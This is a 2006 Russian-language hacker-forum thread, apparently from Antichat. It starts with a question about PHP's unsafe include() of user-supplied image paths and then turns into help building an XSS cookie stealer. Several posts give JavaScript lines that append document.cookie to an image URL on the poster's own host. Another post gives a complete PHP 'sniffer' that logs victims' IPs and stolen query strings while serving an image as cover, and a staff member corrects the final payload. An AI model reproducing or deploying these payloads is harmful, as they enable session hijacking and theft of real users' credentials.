Безопасное использование include

Discussion in 'PHP' started by EST a1ien, 14 May 2006.

  1. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Есть скрипт ему передаётся параметр img.
    Например script.php?img=http://site.ru/img.gif
    Дак вот я зделал такую проверку
    PHP:
    if (!strstr($image,'.gif')=='.gif') {$image='sm.gif';}
    Дальше идёт
    PHP:
    Header("Content-type: image/gif");
    include(
    $image);
    Тоесть файл обязательно должен быть .gif , но этого недостаточно так как в img.gif может быть PHP код и он выполнится ведь так??
    Если да то как от этого защитится??
    -------------------------------
    И ещё один вопрос как отобразить через javascript картинку которая является снифером.
    Например
    Code:
    img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
    Img.gif это php скрипт который выводит картинку но таким javascript'ом она невыводится только тырятся куки , а нужен скрипт который и тырит куки и отображает картинку, если это возможно.
     
  2. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    1 person likes this.
  3. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    попробуй
    PHP:
    <?
    ...
    if (!
    strstr($image,'.gif')=='.gif') {$image='sm.gif';}  
    header("Content-Type: image/gif");
    $ff fopen($image,"rb");
    fpassthru($ff);
    fclose($ff);
    ?>
     
    1 person likes this.
  4. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Да, и вот тебе пример сниффа....

    PHP:
    <?
    $query $_SERVER['QUERY_STRING'];
    $ip $_SERVER['REMOTE_ADDR'];

    if(!
    file_exists("log.txt")) fclose(fopen("log.txt","w"));
    $out fopen("log.txt","a");
    fputs($out,"IP:".$ip."Query:".$query);
    fclose($out);

    header("Content-Type: image/jpg");
    $img fopen("image.jpg","rb");
    fpassthru($img);
    fclose($img);
    ?>
     
    1 person likes this.
  5. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    На первый вопрос ответили всем спасибо.
    Теперь бы хотелось услышать ответ на второй.
     
    #5 EST a1ien, 14 May 2006
    Last edited: 14 May 2006
  6. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    2. Фильтровать все вводимые значения.
     
  7. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Ага, с добрым утром всех.
    getimagesize() еще никто не отменял. Да и как правильно заметил nerezus, readfile более оптимальное решение для поставленной задачи. Тестировал скорость работы readfile и include (хотя че тут тестить - ежу понятно что include тормознее в разы). Да и потом если ты делаешь header() с заголовком картинки, а потом readfile()...

    Насчет твоего второго вопроса - все просто, скрипт подкинул LoFFi.

    2 LoFFi
    в данном примере проще юзать readfile, чем fopen.
     
    _________________________
  8. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Всё с первым я уже разобрался, просто забыл про readfile совсем из головы вылетела, что можно читать, а не инклудить файлы.
    А на второй вопрос я так и неполучил чёткого ответа.
     
  9. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    ошибаешься
     
    _________________________
  10. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    И гдеже ответ на второй вопрос
     
  11. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    2 EST a1ien
    А это и есть ответ на второй вопрос...
     
    _________________________
  12. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Если открываеш таим javascriptom то какртина не отображается, а надо чтобы и картинка отображалясь и куки тырились.
    А снифер тут непричём он картину то так выводет а через javascript нет.
    Вот к примеру ссылка на html с этим скриптом http://est.jino-net.ru/1.html
    Здесь даже наптсано
    Code:
    img = new Image(); img.src = "http://est.jino-net.ru/xss/sm.gif";
    Даже так он картину неотображает.
    sm.gif - обычная каринка.
     
    #12 EST a1ien, 15 May 2006
    Last edited: 15 May 2006
  13. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    2 EST a1ien
    короче, ты споришь ни о чем. Да, мне лень описывать принцип работы подобного сниффера. но не потому что я ленивая скотина, а потому что это способ описан уже 300 раз и используется каждым вторым!
     
    _________________________
  14. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Да блин мы общаемся на разных языках.
    Я говорю про javascript а ты про php снифф.
    А прошу сказать как при помощи js отправить запрос к снифу но при этом мне надо что бы отобразилась картинка.
    Просто вот таким скриптом
    Отправляются куки, но неотображается картинка.
    А вот таким
    Отображается картинка но неотправляются куки.
    А мне надо чтобы и картинка отображалась и куки отправлялись.
    Хотя я уже и без вас понял как это зделать просто запихнуть вот такой скрипт
     
  15. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    лол. EST a1ien, прежде чем ругать людей, которые пытаются тебе помочь, разбирись со своей задачей и попробуй грамотно выложить ее в своем посте.
     
    _________________________
  16. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    По document.write('<img src="http://est.jino-net.ru/xss/s.php"+document.cookie>');
    куки не будут писаться, потому что и не должны так писаться. Просто ошибка в этой строчке (где не скажу).
     
  17. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    2Trinux я тебя неругал сори если чтото непонравилось как я говорил.
    2Егорыч+++ document.write('<img src="http://est.jino-net.ru/xss/s.php?"+document.cookie>');
    Правильно если нет то просьба подсказать.
     
  18. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Короче чтобы небыло непоняток выражу свою мысль еще раз.
    Допустим есть снифер http://site.ru/s.gif который отображает картинку.
    Дак вот мне нужен javascript который пошлёт куки и отобразит картинку.
     
  19. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    document.write("<img src="http://est.jino-net.ru/xss/s.php? "+document.cookie+">");


    P. S. Послать куки только вставляя одну картинку НЕЛЬЗЯ. Куки бирутся ява скриптом.
     
    #19 Егорыч+++, 15 May 2006
    Last edited: 15 May 2006
  20. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Ага большое спасибо.